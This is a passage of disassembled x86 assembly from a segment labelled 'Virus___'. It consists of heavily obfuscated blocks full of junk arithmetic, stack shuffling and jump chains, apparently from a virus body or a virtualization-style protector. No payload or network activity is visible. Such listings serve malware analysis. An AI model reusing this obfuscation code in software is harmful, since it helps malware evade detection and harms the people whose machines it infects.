		jmp	loc_589AAC
; ---------------------------------------------------------------------------


loc_59263B:				; CODE XREF: Virus___:00593697j
		sub	bl, 39h
		sub	bl, 26h
		add	bl, 0B7h
		push	dx
		jmp	loc_59306B
; ---------------------------------------------------------------------------


loc_59264B:				; CODE XREF: Virus___:00582664j
		add	esp, 4
		add	ebp, edx
		mov	edx, [esp]
		jmp	loc_58DEB2
; ---------------------------------------------------------------------------


loc_59265B:				; CODE XREF: Virus___:0059102Fj
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebx
		jmp	loc_5863BC
; ---------------------------------------------------------------------------


loc_592671:				; CODE XREF: Virus___:00580009j
		pop	dword ptr [esp]
		push	6FD9h
		mov	[esp], esi
		jmp	loc_585676
; ---------------------------------------------------------------------------


loc_592681:				; CODE XREF: Virus___:0058F398j
		add	ebx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	0FC4h
		mov	[esp], edx
		jmp	loc_592B9C
; ---------------------------------------------------------------------------


loc_592697:				; CODE XREF: Virus___:0058FC46j
		mov	eax, 5CC47D0Eh
		add	ecx, eax
		jmp	loc_58CD1A
; ---------------------------------------------------------------------------


loc_5926A3:				; CODE XREF: Virus___:0058DB8Ej
		mov	eax, 5346307h
		not	eax
		jmp	loc_58F61A
; ---------------------------------------------------------------------------
		lodsb
		push	3CFAh
		mov	[esp], ebx
		jmp	loc_587C1E
; ---------------------------------------------------------------------------


loc_5926BD:				; CODE XREF: Virus___:00582637j
		push	edx
		mov	dh, 7Ch
		add	bl, dh
		pop	edx
		pop	eax
		add	al, bl
		pop	ebx
		sub	bl, 0Eh
		add	bl, al
		push	109Ah
		mov	[esp], eax
		mov	al, 9Ah
		shr	al, 1
		dec	al
		sub	al, 3Eh
		add	bl, 0F2h
		add	bl, al
		sub	bl, 0F2h
		jmp	loc_58B3D1
; ---------------------------------------------------------------------------


loc_5926E9:				; CODE XREF: Virus___:00582C6Cj
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_5898C9
; ---------------------------------------------------------------------------


loc_592720:				; CODE XREF: Virus___:0058D140j
		sub	edx, 73807DC7h
		add	edx, 73BE3935h
		add	edx, edi
		jmp	loc_58E9CB
; ---------------------------------------------------------------------------


loc_592733:				; CODE XREF: Virus___:0059386Fj
		mov	edi, [esp]
		jmp	loc_58B5AB
; ---------------------------------------------------------------------------


loc_59273B:				; CODE XREF: Virus___:0058A787j
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		jmp	loc_57FC51
; ---------------------------------------------------------------------------


loc_592746:				; CODE XREF: Virus___:00593E0Ej
		or	bh, 39h
		sub	bh, 63h
		mov	dh, bh
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	bh, 81h
		inc	bh
		not	bh
		shr	bh, 2
		shr	bh, 1
		add	bh, 0F0h
		add	dh, bh
		pop	ebx
		not	dh
		dec	dh
		and	dh, 0BAh
		push	ax
		mov	al, dh
		inc	al
		push	ebx
		mov	bh, al
		mov	dh, bh
		pop	ebx
		mov	ax, [esp]
		add	esp, 2
		not	dh
		jmp	loc_58676F
; ---------------------------------------------------------------------------


loc_59278A:				; CODE XREF: Virus___:0058AAA3j
		mov	bh, dl
		mov	cl, bh
		jmp	loc_5930D1
; ---------------------------------------------------------------------------


loc_592793:				; CODE XREF: Virus___:0058D733j
		add	edi, 4
		jmp	loc_5861C8
; ---------------------------------------------------------------------------


loc_59279E:				; CODE XREF: Virus___:00587683j
		add	ebp, 1
		add	ebp, 13136463h
		push	eax
		mov	eax, 5E6927EDh
		or	eax, 46C11614h
		neg	eax
		xor	eax, 532A77F3h
		push	129Bh
		mov	[esp], edi
		jmp	loc_57F4CC
; ---------------------------------------------------------------------------


loc_5927C9:				; CODE XREF: Virus___:0058C3BFj
		push	56F133D5h
		pop	ebp
		jmp	loc_58D0AE
; ---------------------------------------------------------------------------


loc_5927D4:				; CODE XREF: Virus___:00588BC8j
		shl	edi, 8
		jmp	loc_586C34
; ---------------------------------------------------------------------------


loc_5927DC:				; CODE XREF: Virus___:00587BF3j
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_582491
; ---------------------------------------------------------------------------


loc_5927ED:				; CODE XREF: Virus___:0058C8F6j
		push	ebp
		push	4EEh
		mov	[esp], esp
		jmp	loc_58A8CB
; ---------------------------------------------------------------------------


loc_5927FB:				; CODE XREF: Virus___:0057F9BFj
		sub	esi, 60420Bh
		add	esi, 20200524h
		jmp	loc_58D2AA
; ---------------------------------------------------------------------------


loc_59280C:				; CODE XREF: Virus___:00584A84j
		push	ebp
		jmp	loc_584E7B
; ---------------------------------------------------------------------------


loc_592812:				; CODE XREF: Virus___:0058A144j
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		sub	bl, al
		push	2835h
		mov	[esp], eax
		mov	al, 0Fh
		shl	al, 8
		push	ebx
		mov	bh, 0Eh
		sub	bh, 0Fh
		jmp	loc_5844FE
; ---------------------------------------------------------------------------


loc_592833:				; CODE XREF: Virus___:0058F8A0j
		mov	edx, [esp]
		jmp	loc_57F384
; ---------------------------------------------------------------------------


loc_59283B:				; CODE XREF: Virus___:0058B338j
		pop	eax
		add	ecx, edi
		mov	[ecx], al
		jmp	loc_58EF01
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	3373h
		mov	[esp], esi
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_58AE0D
; ---------------------------------------------------------------------------


loc_592863:				; CODE XREF: Virus___:0058D9B2j
		mov	edi, 3EB2311Eh
		sub	[edx+30h], edi
		mov	edi, [esp]
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5901A2
; ---------------------------------------------------------------------------


loc_592882:				; CODE XREF: Virus___:00587832j
		dec	ebp
		jmp	loc_59330A
; ---------------------------------------------------------------------------


loc_592888:				; CODE XREF: Virus___:0058D189j
		pop	edx
		add	edx, 4
		jmp	loc_58E9D6
; ---------------------------------------------------------------------------


loc_592894:				; CODE XREF: Virus___:0058B7F8j
		mov	eax, [esp]
		jmp	loc_5827C8
; ---------------------------------------------------------------------------


loc_59289C:				; CODE XREF: Virus___:005869CFj
		push	1A30567Fh
		jmp	loc_59331D
; ---------------------------------------------------------------------------


loc_5928A6:				; CODE XREF: Virus___:00591361j
		sub	edx, ebx
		jmp	loc_586722
; ---------------------------------------------------------------------------


loc_5928AD:				; CODE XREF: Virus___:0058A2ADj
		pop	esp
		jmp	loc_582151
; ---------------------------------------------------------------------------


loc_5928B3:				; CODE XREF: Virus___:0058C1CFj
		add	ch, 1
		shl	ch, 1
		neg	ch
		dec	ch
		add	ch, 98h
		jmp	loc_58A38E
; ---------------------------------------------------------------------------


loc_5928C4:				; CODE XREF: Virus___:0059213Ej
		pop	eax
		jmp	loc_58141E
; ---------------------------------------------------------------------------


loc_5928CA:				; CODE XREF: Virus___:005802F7j
		mov	edx, [esp]
		add	esp, 4
		add	ebp, esi
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5904DD
; ---------------------------------------------------------------------------


loc_5928E4:				; CODE XREF: Virus___:0058FE38j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 2BCF3037h
		jmp	loc_5914F0
; ---------------------------------------------------------------------------


loc_592903:				; CODE XREF: Virus___:00580730j
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_58F49F
; ---------------------------------------------------------------------------


loc_592912:				; CODE XREF: Virus___:0058C372j
		push	eax
		jmp	loc_58B7C4
; ---------------------------------------------------------------------------


loc_592918:				; CODE XREF: Virus___:005851E6j
		sub	edx, eax
		sub	edx, 4B194F57h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edi
		jmp	loc_58288C
; ---------------------------------------------------------------------------


loc_592930:				; CODE XREF: Virus___:0058B09Ej
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_582D7C
; ---------------------------------------------------------------------------


loc_592940:				; CODE XREF: Virus___:00584B8Ej
					; Virus___:0058C581j
		push	3CA3h
		mov	[esp], ebx
		jmp	loc_58C838
; ---------------------------------------------------------------------------


loc_59294D:				; CODE XREF: Virus___:005812A6j
		ror	dword ptr [esp], cl
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_592956:				; CODE XREF: Virus___:0058B019j
		push	454Fh
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_58ABBE
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_5884FC
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_58DB6F
; ---------------------------------------------------------------------------


loc_592983:				; CODE XREF: Virus___:00594307j
		push	4070h
		jmp	loc_58111D
; ---------------------------------------------------------------------------


loc_59298D:				; CODE XREF: Virus___:00584316j
		sub	esp, 4
		jmp	loc_581B02
; ---------------------------------------------------------------------------


loc_592998:				; CODE XREF: Virus___:0058E73Fj
		pop	edx
		dec	bh
		shr	bh, 1
		neg	bh
		sub	esp, 4
		jmp	loc_5936D3
; ---------------------------------------------------------------------------


loc_5929A7:				; CODE XREF: Virus___:005831C1j
		pop	esp
		push	577Dh
		jmp	loc_582F4A
; ---------------------------------------------------------------------------


loc_5929B2:				; CODE XREF: Virus___:005825EAj
		sub	[esp], cl
		mov	cl, [esp]
		add	esp, 2
		push	edx
		mov	dh, 93h
		jmp	loc_58A426
; ---------------------------------------------------------------------------


loc_5929C3:				; CODE XREF: Virus___:0058C306j
		xor	edx, esi
		xor	esi, edx
		push	3E90h
		jmp	loc_590D82
; ---------------------------------------------------------------------------


loc_5929D1:				; CODE XREF: Virus___:00589C54j
		sub	ebx, 1
		jmp	loc_587AA5
; ---------------------------------------------------------------------------


loc_5929DC:				; CODE XREF: Virus___:0058B3D7j
		add	esp, 4
		push	ebx
		push	5E24h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	1DDFh
		mov	[esp], eax
		mov	eax, 3D3D1659h
		shl	eax, 6
		neg	eax
		shl	eax, 3
		shr	eax, 5
		and	eax, 24CD558Fh
		add	eax, 0FBF3F004h
		add	ebx, 29E776E4h
		add	ebx, eax
		sub	ebx, 29E776E4h
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5816CA
; ---------------------------------------------------------------------------


loc_592A2B:				; CODE XREF: Virus___:0058F0F2j
		pop	edi
		xchg	eax, [esp]
		jmp	loc_5919F3
; ---------------------------------------------------------------------------


loc_592A34:				; CODE XREF: Virus___:00593798j
		shl	edi, 1
		shr	edi, 1
		or	edi, 1F4D4922h
		inc	edi
		jmp	loc_58321B
; ---------------------------------------------------------------------------


loc_592A44:				; CODE XREF: Virus___:00582D22j
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_59171E
; ---------------------------------------------------------------------------


loc_592A57:				; CODE XREF: Virus___:0057FF4Aj
		add	dword ptr [esp], 4
		pop	esi
		push	ecx
		jmp	loc_583FCF
; ---------------------------------------------------------------------------


loc_592A62:				; CODE XREF: Virus___:00590F00j
		push	edx
		mov	edx, 376C17C5h
		sub	edx, 27FF102Dh
		shr	edx, 8
		neg	edx
		xor	edx, 671376D0h
		and	edx, 73AC6A3Bh
		jmp	loc_580882
; ---------------------------------------------------------------------------


loc_592A84:				; CODE XREF: Virus___:0058FB03j
		mov	edi, eax
		pop	eax
		not	edi
		xor	edi, eax
		xor	eax, edi
		xor	edi, eax
		xchg	eax, edi
		dec	edi
		xchg	eax, edi
		push	edi
		push	957h
		mov	[esp], eax
		mov	edi, [esp]
		add	esp, 4
		pop	eax
		jmp	loc_58298E
; ---------------------------------------------------------------------------


loc_592AAA:				; CODE XREF: Virus___:00580F2Cj
		pop	edx
		push	ebp
		mov	ebp, 5AB474F9h
		add	ebp, 0F3B69095h
		or	edx, ebp
		jmp	loc_5804AC
; ---------------------------------------------------------------------------


loc_592ABE:				; CODE XREF: Virus___:00583916j
		push	eax
		mov	eax, esp
		jmp	loc_59410B
; ---------------------------------------------------------------------------


loc_592AC6:				; CODE XREF: Virus___:00584EFBj
		or	ecx, 3E1F3B3Bh
		inc	ecx
		sub	ecx, 48C24656h
		jmp	loc_58EE0F
; ---------------------------------------------------------------------------


loc_592AD8:				; CODE XREF: Virus___:0058D38Cj
		add	ebp, edx
		jmp	loc_587665
; ---------------------------------------------------------------------------


loc_592ADF:				; CODE XREF: Virus___:0058EACDj
		sub	edi, ecx
		add	edi, 3F6026F0h
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, edi
		pop	edi
		mov	edx, [esp]
		add	esp, 4
		add	eax, 2
		jmp	loc_588073
; ---------------------------------------------------------------------------


loc_592B04:				; CODE XREF: Virus___:00588CC2j
		mov	dh, 43h
		add	al, dh
		pop	edx
		push	edx
		jmp	loc_5806E7
; ---------------------------------------------------------------------------


loc_592B0F:				; CODE XREF: Virus___:00585BE1j
		pop	esp
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_592B15:				; CODE XREF: Virus___:0058CBE0j
		add	ebx, edx
		jmp	loc_5830F5
; ---------------------------------------------------------------------------


loc_592B1C:				; CODE XREF: Virus___:00585E6Fj
		pop	ebp
		push	edi
		jmp	loc_591263
; ---------------------------------------------------------------------------


loc_592B23:				; CODE XREF: Virus___:00585A87j
		mov	ecx, 2A99B37Bh
		add	eax, 36FC523Dh
		sub	eax, 1E6774D6h
		sub	eax, ecx
		add	eax, 1E6774D6h
		push	edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 6C5659CFh
		xor	edx, 0C581786h
		jmp	loc_58C88C
; ---------------------------------------------------------------------------


loc_592B53:				; CODE XREF: Virus___:00589E4Cj
		mov	ebx, 49626054h
		not	ebx
		sub	ebx, 0A90C36BAh
		and	edi, ebx
		pop	ebx
		sub	edi, 180002Dh
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5909C6
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 5E541333h
		sub	eax, ebx
		push	ebp
		jmp	loc_58400A
; ---------------------------------------------------------------------------


loc_592B85:				; CODE XREF: Virus___:0058A581j
		xchg	edx, [esp]
		jmp	loc_5916A7
; ---------------------------------------------------------------------------


loc_592B8D:				; CODE XREF: Virus___:0058AA76j
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_58ED6F
; ---------------------------------------------------------------------------


loc_592B96:				; CODE XREF: Virus___:0058E84Aj
		pop	esp
		jmp	loc_58CD4A
; ---------------------------------------------------------------------------


loc_592B9C:				; CODE XREF: Virus___:00592692j
		push	edi
		mov	edi, 5D936865h
		push	edx
		jmp	loc_58E1EC
; ---------------------------------------------------------------------------


loc_592BA8:				; CODE XREF: Virus___:00586301j
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_58E97A
; ---------------------------------------------------------------------------


loc_592BBD:				; CODE XREF: Virus___:0059402Bj
		mov	edi, 31B41CEFh
		add	[esp+8], edi
		pop	edi
		mov	esi, [esp]
		jmp	loc_589A5D
; ---------------------------------------------------------------------------


loc_592BCF:				; CODE XREF: Virus___:00582CFFj
		mov	ebx, 4
		mov	esi, ebx
		jmp	loc_587E2F
; ---------------------------------------------------------------------------


loc_592BDB:				; CODE XREF: Virus___:0058F8F7j
		inc	dl
		jmp	loc_583D8D
; ---------------------------------------------------------------------------


loc_592BE2:				; CODE XREF: Virus___:0057F7EDj
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 2
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_586240
; ---------------------------------------------------------------------------


loc_592BFB:				; CODE XREF: Virus___:005890B6j
		shr	edx, 3
		xor	edx, 723E436Eh
		jmp	loc_58E4E7
; ---------------------------------------------------------------------------


loc_592C09:				; CODE XREF: Virus___:0058DA11j
		dec	edi
		inc	edi
		xor	edi, 44866h
		add	edi, 73800528h
		add	edi, 88CC81B1h
		add	edx, edi
		pop	edi
		jmp	loc_57F978
; ---------------------------------------------------------------------------


loc_592C25:				; CODE XREF: Virus___:0058CD7Cj
		xor	eax, 7ABF67DBh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5838C7
; ---------------------------------------------------------------------------


loc_592C39:				; CODE XREF: Virus___:005837F8j
		pop	ebx
		jmp	loc_5899FA
; ---------------------------------------------------------------------------


loc_592C3F:				; CODE XREF: Virus___:005843B0j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_591DE0
; ---------------------------------------------------------------------------


loc_592C55:				; CODE XREF: Virus___:00592085j
		xchg	edi, [esp]
		pop	esp
		push	ebp
		jmp	loc_58D3BD
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], al
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_592C6E:				; CODE XREF: Virus___:005814EBj
		pop	esi
		xor	esi, 58DF4835h
		add	esi, 7A932683h
		mov	edi, esi
		pop	esi
		jmp	loc_594334
; ---------------------------------------------------------------------------


loc_592C83:				; CODE XREF: Virus___:005811D2j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_593747
; ---------------------------------------------------------------------------


loc_592C97:				; CODE XREF: Virus___:0058223Aj
		mov	eax, 3B0A231Bh
		xor	ebx, eax
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	ebx, 43EB71ECh
		push	edx
		mov	edx, 2AC677F1h
		and	ebx, edx
		pop	edx
		push	ebp
		jmp	loc_585030
; ---------------------------------------------------------------------------


loc_592CCA:				; CODE XREF: Virus___:00580B5Fj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_590B3C
; ---------------------------------------------------------------------------


loc_592CDA:				; CODE XREF: Virus___:0058B5A6j
		xchg	ebx, [esp]
		jmp	loc_58C266
; ---------------------------------------------------------------------------


loc_592CE2:				; CODE XREF: Virus___:00586C93j
		xor	ecx, [esp]
		jmp	loc_582F9D
; ---------------------------------------------------------------------------


loc_592CEA:				; CODE XREF: Virus___:0057FCCAj
		shr	eax, 4
		jmp	loc_591BC7
; ---------------------------------------------------------------------------


loc_592CF2:				; CODE XREF: Virus___:0058E207j
		test	ecx, eax
		pushf
		jmp	loc_58BB14
; ---------------------------------------------------------------------------


loc_592CFA:				; CODE XREF: Virus___:00581322j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_581F31
; ---------------------------------------------------------------------------


loc_592D03:				; CODE XREF: Virus___:0058F3CCj
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		mul	ecx
		push	175Bh
		jmp	loc_5862C7
; ---------------------------------------------------------------------------


loc_592D19:				; CODE XREF: Virus___:00593886j
		pop	ecx
		jmp	loc_584F10
; ---------------------------------------------------------------------------


loc_592D1F:				; CODE XREF: Virus___:0058B885j
		sub	bh, 99h
		push	7EFBh
		mov	[esp], ecx
		mov	cl, 43h
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_58C8FB
; ---------------------------------------------------------------------------


loc_592D37:				; CODE XREF: Virus___:00589DA2j
		shl	ebp, 7
		jmp	loc_58CF4B
; ---------------------------------------------------------------------------


loc_592D3F:				; CODE XREF: Virus___:0058D34Ej
		push	33CBh
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	2566h
		mov	[esp], eax
		push	esi
		mov	esi, 6541198Ah
		inc	esi
		dec	esi
		sub	esi, 8C6209Ah
		add	esi, 7F971CDCh
		not	esi
		add	esi, 49951A7Ch
		jmp	loc_581980
; ---------------------------------------------------------------------------


loc_592D72:				; CODE XREF: Virus___:0058AEE4j
		push	25C5h
		mov	[esp], ebp
		push	2B25h
		jmp	loc_59322C
; ---------------------------------------------------------------------------


loc_592D84:				; CODE XREF: Virus___:0058FCB3j
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5800B9
; ---------------------------------------------------------------------------


loc_592D9A:				; CODE XREF: Virus___:005870C0j
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		push	2A34h
		mov	[esp], eax
		jmp	loc_589FF3
; ---------------------------------------------------------------------------


loc_592DB1:				; CODE XREF: Virus___:00582675j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_58C288
; ---------------------------------------------------------------------------


loc_592DC8:				; CODE XREF: Virus___:00591851j
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	6B1652A8h
		jmp	loc_588DD2
; ---------------------------------------------------------------------------


loc_592DE1:				; CODE XREF: Virus___:005910DDj
		pop	eax
		push	4C22h
		mov	[esp], eax
		jmp	loc_58CA5B
; ---------------------------------------------------------------------------


loc_592DEF:				; CODE XREF: Virus___:0058EAF2j
		ror	byte ptr [esp],	cl
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_592DF8:				; CODE XREF: Virus___:00587805j
		shl	al, 5
		add	al, 5Fh
		or	al, 21h
		jmp	loc_580696
; ---------------------------------------------------------------------------


loc_592E04:				; CODE XREF: Virus___:00586BB1j
		xor	eax, edx
		jmp	loc_587DC5
; ---------------------------------------------------------------------------


loc_592E0B:				; CODE XREF: Virus___:005863DAj
		add	edi, esi
		pop	esi
		push	ecx
		mov	ecx, 4
		add	edi, 3F9D4B1Eh
		add	edi, 536C64D7h
		add	edi, ecx
		sub	edi, 536C64D7h
		sub	edi, 3F9D4B1Eh
		pop	ecx
		jmp	loc_58067A
; ---------------------------------------------------------------------------


loc_592E34:				; CODE XREF: Virus___:0058C2B6j
		push	ecx
		jmp	loc_58D9F7
; ---------------------------------------------------------------------------


loc_592E3A:				; CODE XREF: Virus___:00587FA3j
		pop	edx
		jmp	loc_58B6A2
; ---------------------------------------------------------------------------


loc_592E40:				; CODE XREF: Virus___:00582063j
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	eax, 6DEA6B84h
		push	edx
		jmp	loc_586523
; ---------------------------------------------------------------------------


loc_592E51:				; CODE XREF: Virus___:00584E4Aj
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_588092
; ---------------------------------------------------------------------------


loc_592E68:				; CODE XREF: Virus___:00584807j
		mov	[esp], ebx
		jmp	loc_58D4CD
; ---------------------------------------------------------------------------


loc_592E70:				; CODE XREF: Virus___:0058513Bj
		mov	[esp], edx
		push	ebx
		mov	ebx, 1Ch
		mov	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 20942E13h
		jmp	loc_5863DF
; ---------------------------------------------------------------------------


loc_592E8C:				; CODE XREF: Virus___:005920CEj
		or	ebp, 6DA33DC6h
		push	ebp
		jmp	loc_588E98
; ---------------------------------------------------------------------------


loc_592E98:				; CODE XREF: Virus___:0058EC14j
		mov	[esp], ebp
		mov	ebp, 8000h
		jmp	loc_588B8F
; ---------------------------------------------------------------------------


loc_592EA5:				; CODE XREF: Virus___:00581A4Dj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_58C578
; ---------------------------------------------------------------------------


loc_592EB3:				; CODE XREF: Virus___:0058104Cj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esi
		mov	esi, 5BE636C4h
		push	eax
		mov	eax, 1
		sub	esi, eax
		pop	eax
		dec	esi
		sub	esi, 0FFFFFFFFh
		not	esi
		push	edi
		mov	edi, 49DE7E6Dh
		jmp	loc_593F9E
; ---------------------------------------------------------------------------


loc_592EE8:				; CODE XREF: Virus___:0057FB54j
		pop	ebp
		sub	esi, 135F0807h
		jmp	loc_58DD89
; ---------------------------------------------------------------------------


loc_592EF4:				; CODE XREF: Virus___:0058136Cj
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		push	eax
		mov	eax, 4F6D6104h
		shl	eax, 4
		neg	eax
		sub	eax, 0A183FFF7h
		mov	ecx, eax
		pop	eax
		mov	esi, ecx
		jmp	loc_59249A
; ---------------------------------------------------------------------------


loc_592F2B:				; CODE XREF: Virus___:00585CC1j
		mov	esi, 2B4626C1h
		sub	esi, 2B4626BDh
		jmp	loc_5824DF
; ---------------------------------------------------------------------------


loc_592F3B:				; CODE XREF: Virus___:005902DDj
		xchg	edx, [esp]
		jmp	loc_581ED6
; ---------------------------------------------------------------------------


loc_592F43:				; CODE XREF: Virus___:0058E8D2j
		push	150Ah
		mov	[esp], esi
		jmp	loc_58EDBB
; ---------------------------------------------------------------------------


loc_592F50:				; CODE XREF: Virus___:0058F37Ej
		sub	edx, edi
		jmp	loc_580183
; ---------------------------------------------------------------------------


loc_592F57:				; CODE XREF: Virus___:005919C4j
		add	ebp, 2
		xchg	ebp, [esp]
		jmp	loc_58F495
; ---------------------------------------------------------------------------


loc_592F65:				; CODE XREF: Virus___:005899C0j
		mov	ecx, 576614BCh
		jmp	loc_583A96
; ---------------------------------------------------------------------------


loc_592F6F:				; CODE XREF: Virus___:0058296Cj
		mov	[esp], ebp
		mov	ebp, 0A826B9Fh
		jmp	loc_588214
; ---------------------------------------------------------------------------


loc_592F7C:				; CODE XREF: Virus___:00588E0Bj
		push	3D270C6Fh
		pop	ebx
		or	ebx, 491D3576h
		and	ebx, 0D770BBAh
		and	ebx, 10FC4956h
		add	ebx, 0FFCBF6F2h
		mov	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edx, esi
		jmp	loc_588E6B
; ---------------------------------------------------------------------------


loc_592FA9:				; CODE XREF: Virus___:00587028j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58EE4D
; ---------------------------------------------------------------------------


loc_592FB7:				; CODE XREF: Virus___:005837C4j
		mov	eax, [esp]
		jmp	loc_5870D0
; ---------------------------------------------------------------------------


loc_592FBF:				; CODE XREF: Virus___:00580CE3j
		mov	dh, 1Ah
		mov	cl, dh
		pop	edx
		mov	ah, 0C1h
		sub	ah, cl
		pop	ecx
		sub	ah, 0F8h
		jmp	loc_589515
; ---------------------------------------------------------------------------


loc_592FD1:				; CODE XREF: Virus___:005896A7j
		push	101Ah
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_591EB0
; ---------------------------------------------------------------------------


loc_592FE9:				; CODE XREF: Virus___:00587646j
		push	6FFDh
		mov	[esp], eax
		push	edi
		jmp	loc_583D20
; ---------------------------------------------------------------------------


loc_592FF7:				; CODE XREF: Virus___:00580779j
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 5FFD4824h
		jmp	loc_593B60
; ---------------------------------------------------------------------------


loc_593013:				; CODE XREF: Virus___:005844CCj
		push	edi
		jmp	loc_58CDCE
; ---------------------------------------------------------------------------


loc_593019:				; CODE XREF: Virus___:00587F74j
		push	2006h
		mov	[esp], eax
		mov	eax, 4
		add	ebx, 0B6D4BB3h
		add	ebx, eax
		sub	ebx, 0B6D4BB3h
		pop	eax
		xchg	ebx, [esp]
		mov	esp, [esp]
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_58780A
; ---------------------------------------------------------------------------


loc_593046:				; CODE XREF: Virus___:00584828j
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_581A77
; ---------------------------------------------------------------------------


loc_593054:				; CODE XREF: Virus___:00588768j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_58809D
; ---------------------------------------------------------------------------


loc_59306B:				; CODE XREF: Virus___:00592646j
		mov	dh, 1Eh
		sub	bl, dh
		pop	dx
		add	bl, ah
		add	bl, 1Eh
		sub	bl, 0B7h
		add	bl, 26h
		pop	eax
		inc	bl
		shr	bl, 3
		shr	bl, 5
		jmp	loc_58C155
; ---------------------------------------------------------------------------


loc_59308A:				; CODE XREF: Virus___:00582823j
		add	ebx, edi
		jmp	loc_58D9D6
; ---------------------------------------------------------------------------


loc_593091:				; CODE XREF: Virus___:00581994j
		push	eax
		mov	eax, 7283471Eh
		jmp	loc_5913A6
; ---------------------------------------------------------------------------


loc_59309C:				; CODE XREF: Virus___:00591B63j
		pop	ebp
		add	ebx, 8DD0314h
		add	ebx, 5D7C3686h
		add	ebx, eax
		sub	ebx, 5D7C3686h
		jmp	loc_58E3D7
; ---------------------------------------------------------------------------


loc_5930B6:				; CODE XREF: Virus___:0058A395j
		mov	ch, ah
		mov	dl, ch
		mov	ecx, [esp]
		jmp	loc_581E88
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp], cl
		pushf
		jmp	loc_57F3EF
